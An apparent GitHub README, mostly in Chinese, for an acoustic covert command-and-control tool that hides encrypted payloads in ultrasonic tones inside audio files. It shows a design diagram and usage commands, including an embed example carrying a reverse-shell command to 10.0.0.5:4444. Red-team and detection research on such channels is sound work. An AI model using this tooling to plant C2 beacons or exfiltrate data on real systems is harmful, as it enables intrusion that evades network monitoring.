vishnupalepu147/whispernet-go

GitHub: vishnupalepu147/whispernet-go

WhisperNet Go 是一个用 Go 编写的隐蔽声学 C2 框架,通过超声波将加密 payload 嵌入音频文件实现无网络流量的隐蔽通信。

Stars: 0 | Forks: 0

# 🎀 WhisperNet Go (Project BUlly) ✨ ![Go](https://img.shields.io/badge/Language-Go-00ADD8?style=flat-square&logo=go) ![Platform](https://img.shields.io/badge/Platform-Cross--platform-lightgray?style=flat-square) ![Type](https://img.shields.io/badge/Type-C2%20Framework-red?style=flat-square) ![Dependencies](https://img.shields.io/badge/Dependencies-None-brightgreen?style=flat-square) 一个可爱但致命的隐蔽声学 Command & Control (C2) 框架,完全使用 Go 编写 💅🏻 WhisperNet 通过使用编码在普通媒体文件(WAV、MP3、MP4)中或通过物理扬声器广播的高频(18.5kHz - 19.5kHz)超声波来提取和传递 payload,从而完全绕过传统的网络监控工具。零网络流量,零怀疑。🤫 ## 📑 目录 - [📌 项目概述](#-project-overview) - [📂 仓库树](#-repository-tree) - [✨ 特性](#-features) - [💌 魔法如何连接](#-how-the-magic-connects) - [🛠️ 让我们开始设置吧!](#️-lets-set-it-up) - [🔒 免责声明](#-disclaimer) ## 📌 项目概述 - **作者**:Fiona Adrelia - **项目类型**:隐蔽声学 Command & Control (C2) 框架 / 隐写术 - **编程语言**:Go (Golang) - **支持的操作系统**:跨平台 (Linux, Windows, macOS) - **依赖项**:无(可编译为单一静态二进制文件) ## 📂 仓库树 ``` whispernet-go/ ├── cmd/ │ └── whispernet/ │ └── main.go ├── pkg/ │ ├── crypto/ │ │ ├── cipher.go │ │ └── crypto_test.go │ └── embed/ │ ├── encoder.go │ └── wav.go ├── cover.wav ├── exfil.wav └── README.md ``` ## ✨ 特性 - **无 Python 依赖**:单一的静态 Go 二进制文件 (`whispernet`)。零环境占用。🌸 - **不可听的遥测数据**:在人类听觉和大多数标准麦克风设置完全不可见的频段上使用 FSK 调制。🦇 - **军用级加密**:AES-256-GCM 认证加密,带有用于深度混淆的随机填充。🛡️ - **极度隐蔽**:专为红队和攻击性操作设计。他们根本察觉不到它的到来,因为他们确确实实听不到它。💋 ## 💌 魔法如何连接 这里是 payload 注入流程的绝对机密!☕️ ``` graph TD %% 🎀 Aesthetic & Girly Styling classDef core fill:#ffe4e1,stroke:#ffb6c1,stroke-width:2px,color:#b03060 classDef crypto fill:#e0b0ff,stroke:#dda0dd,stroke-width:2px,color:#4b0082 classDef audio fill:#e0ffff,stroke:#afeeee,stroke-width:2px,color:#008080 classDef output fill:#fff0f5,stroke:#ffb6c1,stroke-width:2px,color:#c71585 classDef signal fill:#f5fffa,stroke:#3cb371,stroke-width:2px,color:#2e8b57 classDef data fill:#fffacd,stroke:#f0e68c,stroke-width:2px,color:#8b8b00 subgraph LayerInput [😈 Phase 1: Input & C2 Entry] PAYLOAD[[Raw Payload / Command]]:::core CLI([🌸 WhisperNet CLI Interface]):::core end subgraph LayerCrypto [🔐 Phase 2: Cryptographic Obfuscation] KEY[(AES-256 Key)]:::crypto NONCE{{16-byte Random IV}}:::crypto PAD{{1-32 byte Random Padding}}:::crypto AES{AES-256-GCM Engine}:::crypto BLOB[/Encrypted Blob\nPadSize|Pad|IV|Ciphertext|Tag/]:::crypto end subgraph LayerEncoding [⚙️ Phase 3: Telemetry & Error Correction] B2B((Byte-to-Bit Conversion)):::data LEN{{16-bit Length Prefix}}:::data PRE{{Sync Preamble\n101010101111000010101010}}:::data ECC{3x Redundancy Repetition}:::data FRAME[/Data Frame/]:::data end subgraph LayerModulation [🎶 Phase 4: Acoustic Modulation] FSK{FSK Modulator}:::signal F0((Freq0: 18.5kHz)):::signal F1((Freq1: 19.5kHz)):::signal WND{{Hanning-style Windowing\nfor Smooth Transitions}}:::signal PCM_OUT[/Int16 PCM Samples/]:::signal end subgraph LayerCarrier [🌊 Phase 5: Carrier Injection] COVER[(🎵 Cover Audio\n44.1kHz / 48.0kHz)]:::audio DEC((WAV Decoder\nExtract PCM)):::audio MIX{Audio Mixer\nSignal Addition + Clipping Prev}:::audio ENC((WAV Encoder)):::audio EXFIL[(🎀 Weaponized exfil.wav)]:::output end %% Connections PAYLOAD -->|Parsed via args| CLI CLI -->|Init Cipher| AES KEY -->|Loaded| AES NONCE -->|Injected| AES PAYLOAD -->|Plaintext| AES AES -->|Produces| BLOB PAD -.->|Prepended to| BLOB BLOB --> B2B B2B -->|Raw Bits| LEN LEN -->|Prepended| ECC ECC -->|Bit * 3| PRE PRE -->|Prepended| FRAME FRAME -->|Bitstream| FSK F0 -.->|Bit 0| FSK F1 -.->|Bit 1| FSK FSK --> WND WND -->|Normalized| PCM_OUT COVER --> DEC DEC -->|Host PCM Buffer| MIX PCM_OUT -->|Ultrasonic Signal| MIX MIX -->|Mixed PCM Buffer| ENC ENC -->|Write| EXFIL ``` ## 🛠️ 让我们开始设置吧! 拿一杯冰抹茶 🍵,打开你的终端,让我们编译这个美丽的杰作吧! **步骤 1:生成你的密钥 🗝️** ``` ./bin/whispernet -action keygen ``` *(保管好它,亲爱的!你稍后会需要它来解密提取的数据)* **步骤 2:将 payload 嵌入到载体中 🎀** 获取任何普通的音频文件 (`cover.wav`) 并嵌入你的 reverse shell 命令或 payload。 ``` ./bin/whispernet -action embed \ -payload "cmd:reverse_shell 10.0.0.5 4444" \ -in cover.wav \ -out exfil.wav \ -key ``` 输出的 `exfil.wav` 听起来会和 `cover.wav` 完全一样,但包含了隐藏的超声波 C2 信标。这简直就是“隐形刺客”。💅🏻 ## 🔒 免责声明 🚨 **仅用于教育和授权的红队目的。** 🚨 此工具包是为合法的安全研究而开发的。未经明确授权,请勿在环境中使用此工具。保持可爱,保持合法。🌸
标签:C2框架, EVTX分析, Go, Ruby工具, 声学隐写, 安全学习资源, 日志审计, 网络信息收集, 隐蔽通信